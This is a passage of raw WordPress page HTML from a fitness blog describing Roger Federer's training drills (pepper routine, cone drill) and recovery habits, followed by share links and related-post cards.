data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-75  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-c14413ee97c2a9fea124264bb83961ad\">\n.avia-image-container.av-av_image-c14413ee97c2a9fea124264bb83961ad img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-c14413ee97c2a9fea124264bb83961ad .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-c14413ee97c2a9fea124264bb83961ad av-styling-circle av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-76  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5061 avia-img-lazy-loading-not-5061 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/07.jpg\" alt='' title='Pepper routine'  height=\"754\" width=\"754\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/07.jpg 754w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/07-80x80.jpg 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/07-300x300.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/07-36x36.jpg 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/07-180x180.jpg 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/07-705x705.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/07-120x120.jpg 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/07-450x450.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/07-128x128.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/07-32x32.jpg 32w\" sizes=\"(max-width: 754px) 100vw, 754px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-77  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-9f9f2b035d964cc1ac4addf3a8d81cfd\">\n#top .av-special-heading.av-av_heading-9f9f2b035d964cc1ac4addf3a8d81cfd{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-9f9f2b035d964cc1ac4addf3a8d81cfd .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-9f9f2b035d964cc1ac4addf3a8d81cfd .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-9f9f2b035d964cc1ac4addf3a8d81cfd av-special-heading-h3 blockquote modern-quote  avia-builder-el-78  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >PEPPER ROUTINE<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Multiple (3 or more) balls are thrown at him from about 10 feet away. Federer\u00a0hits these balls one at a time, before they make their second bounce. This exercise does wonders for his reaction time.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-80  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_12'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-81  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-82  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-8c7d4327c77548d8850d432c42740c76\">\n.avia-image-container.av-av_image-8c7d4327c77548d8850d432c42740c76 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-8c7d4327c77548d8850d432c42740c76 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-8c7d4327c77548d8850d432c42740c76 av-styling-circle av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-83  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5058 avia-img-lazy-loading-not-5058 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/04.jpg\" alt='' title='cone drill'  height=\"754\" width=\"754\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/04.jpg 754w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/04-80x80.jpg 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/04-300x300.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/04-36x36.jpg 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/04-180x180.jpg 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/04-705x705.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/04-120x120.jpg 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/04-450x450.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/04-128x128.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/04-32x32.jpg 32w\" sizes=\"(max-width: 754px) 100vw, 754px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-84  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-b9a8e0fec1ce87e6f0c9fe1740128560\">\n#top .av-special-heading.av-av_heading-b9a8e0fec1ce87e6f0c9fe1740128560{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-b9a8e0fec1ce87e6f0c9fe1740128560 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-b9a8e0fec1ce87e6f0c9fe1740128560 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-b9a8e0fec1ce87e6f0c9fe1740128560 av-special-heading-h3 blockquote modern-quote  avia-builder-el-85  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >COORDINATION<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>CONE DRILL<\/p>\n<p>3 cones are placed in a triangle about 4 feet apart from one another and just inside the baseline. Federer starts off with moving around each cone in a zig-zag manner. Then balls are thrown at him from across the net and he hits them &#8211; one at every cone. The speed of the drill is gradually increased to increase his footwork speed and hand-eye co-ordination.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-87  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_13'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-88  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-89  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-90  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-4bf8bb657d541f6fb062a679d522c571\">\n#top .av-special-heading.av-av_heading-4bf8bb657d541f6fb062a679d522c571{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-4bf8bb657d541f6fb062a679d522c571 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-4bf8bb657d541f6fb062a679d522c571 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-4bf8bb657d541f6fb062a679d522c571 av-special-heading-h3 blockquote modern-quote  avia-builder-el-91  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >RECOVERY<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>After exercise comes recovery time which is with the help of \u00a0sleep and diet.<br \/>\nFederer\u00a0makes sure that he gets a\u00a0full 10 hours sleep every night\u00a0to allow plenty of recovery time to his muscles.<br \/>\nHe likes to consume\u00a0recovery beverages\u00a0and foods right after a match or workout. It\u00a0comprises of a mix of carbs, proteins and electrolytes whose aim is to quickly re-hydrate and replenish the body.<\/p>\n<\/div><\/section><br \/>\n<div  class='hr av-av_hr-dcd2069817a0e3d34ae04cad8f3443c7 hr-default  avia-builder-el-93  el_after_av_textblock  el_before_av_textblock '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Which exercise have you benefited from the most?<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-95  el_after_av_three_fifth  el_before_av_textblock  flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-af43e4c865209ebf4a40207ffb71b374\">\n#top .av_textblock_section.av-av_textblock-af43e4c865209ebf4a40207ffb71b374 .avia_textblock{\nfont-size:10px;\ncolor:#dddddd;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-af43e4c865209ebf4a40207ffb71b374 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\">Image courtesy &#8211;\u00a0wall.alphacoders , muscle prodigy, backstrenghteningexercisesva<\/p>\n<\/div><\/section>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4\">\n.avia-section.av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='comments'  class='avia-section av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4 main_color avia-section-default avia-no-border-styling  avia-builder-el-97  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-98  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-99  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-101  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-dceef4ee0915d42d7b61d60da9f7830d\">\n.avia-section.av-av_section-dceef4ee0915d42d7b61d60da9f7830d{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='share'  class='avia-section av-av_section-dceef4ee0915d42d7b61d60da9f7830d main_color avia-section-default avia-no-border-styling  avia-builder-el-102  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-103  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-104  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><div  class='av-social-sharing-box av-av_social_share-d059bec7f6a76d9801f82e99ea99524c av-social-sharing-box-minimal  avia-builder-el-105  avia-builder-el-no-sibling  av-social-sharing-box-fullwidth'><div class=\"av-share-box\"><h5 class='av-share-link-description av-no-toc '>Share with friends<\/h5><ul class=\"av-share-box-list noLightbox\"><li class='av-share-link av-social-link-facebook avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on Facebook\" href='https:\/\/www.facebook.com\/sharer.php?u=https:\/\/spyn.co\/blog\/roger-federer-training-routine\/&#038;t=Roger%20Federer%E2%80%99s%20Training%20Routine' data-av_icon='\ue8f3' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on Facebook'><span class='avia_hidden_link_text'>Share on Facebook<\/span><\/a><\/li><li class='av-share-link av-social-link-twitter avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on X\" href='https:\/\/twitter.com\/share?text=Roger%20Federer%E2%80%99s%20Training%20Routine&#038;url=https:\/\/spyn.co\/blog\/?p=5052' data-av_icon='\ue932' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on X'><span class='avia_hidden_link_text'>Share on X<\/span><\/a><\/li><li class='av-share-link av-social-link-whatsapp avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on WhatsApp\" href='https:\/\/api.whatsapp.com\/send?text=https:\/\/spyn.co\/blog\/roger-federer-training-routine\/' data-av_icon='\uf232' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on WhatsApp'><span class='avia_hidden_link_text'>Share on WhatsApp<\/span><\/a><\/li><li class='av-share-link av-social-link-linkedin avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on LinkedIn\" href='https:\/\/linkedin.com\/shareArticle?mini=true&#038;title=Roger%20Federer%E2%80%99s%20Training%20Routine&#038;url=https:\/\/spyn.co\/blog\/roger-federer-training-routine\/' data-av_icon='\ue8fc' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on LinkedIn'><span class='avia_hidden_link_text'>Share on LinkedIn<\/span><\/a><\/li><\/ul><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-106  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<p><\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-6b1fc19561b83e35424c6e42a33bce56\">\n.avia-section.av-av_section-6b1fc19561b83e35424c6e42a33bce56{\nbackground-color:#ffffff;\nbackground-image:unset;\n}\n<\/style>\n<div id='share'  class='avia-section av-av_section-6b1fc19561b83e35424c6e42a33bce56 main_color avia-section-default avia-no-border-styling  avia-builder-el-107  el_after_av_section  avia-builder-el-last  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n<div  data-slideshow-options=\"{&quot;animation&quot;:&quot;fade&quot;,&quot;autoplay&quot;:false,&quot;loop_autoplay&quot;:&quot;once&quot;,&quot;interval&quot;:5,&quot;loop_manual&quot;:&quot;manual-endless&quot;,&quot;autoplay_stopper&quot;:false,&quot;noNavigation&quot;:false,&quot;show_slide_delay&quot;:90}\" class='avia-content-slider avia-content-grid-active avia-content-slider1 avia-content-slider-odd  avia-builder-el-108  avia-builder-el-no-sibling  av-slideshow-ui av-control-default   av-no-slider-navigation av-slideshow-manual av-loop-once av-loop-manual-endless '  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Blog\" ><div class=\"avia-content-slider-inner\"><div class=\"slide-entry-wrap\"><article class='slide-entry flex_column  post-entry post-entry-7220 slide-entry-overview slide-loop-1 slide-parity-odd  av_one_third first real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/9-ways-to-strengthen-your-immunity\/' data-rel='slide-1' class='slide-image' title='9 Ways to Strengthen Your Immunity'><img decoding=\"async\" fetchpriority=\"high\" width=\"1280\" height=\"720\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Meditation-large.jpg\" class=\"wp-image-7234 avia-img-lazy-loading-not-7234 attachment-no scaling size-no scaling wp-post-image\" alt=\"Meditation\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Meditation-large.jpg 1280w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Meditation-large-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Meditation-large-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Meditation-large-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Meditation-large-705x397.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Meditation-large-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Meditation-large-32x18.jpg 32w\" sizes=\"(max-width: 1280px) 100vw, 1280px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: 9 Ways to Strengthen Your Immunity\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/9-ways-to-strengthen-your-immunity\/' title='9 Ways to Strengthen Your Immunity'>9 Ways to Strengthen Your Immunity<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2020-03-20T19:16:36+05:30\" >20\/03\/2020<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/9-ways-to-strengthen-your-immunity\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Your body\u2019s immune system consists of certain organs and processes that can effectively fight toxins, infections and diseases. A strong immune system is critical to keeping us healthy.<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/9-ways-to-strengthen-your-immunity\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/Meditation-large.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>720<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1280<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Sudarshan K<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Sudarshan K<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-15T17:35:25+05:30\" >2020-03-20 19:16:36<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2020-03-23 11:19:45<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>9 Ways to Strengthen Your Immunity<\/span><\/span><\/span><\/article><article class='slide-entry flex_column  post-entry post-entry-6260 slide-entry-overview slide-loop-2 slide-parity-even  av_one_third  real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/macro-nutrients-basics\/' data-rel='slide-1' class='slide-image' title='Basics of Macro Nutrients'><img decoding=\"async\" fetchpriority=\"high\" width=\"1600\" height=\"900\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog.jpg\" class=\"wp-image-6266 avia-img-lazy-loading-not-6266 attachment-no scaling size-no scaling wp-post-image\" alt=\"\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog.jpg 1600w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog-1500x844.jpg 1500w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog-705x397.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog-128x72.jpg 128w, 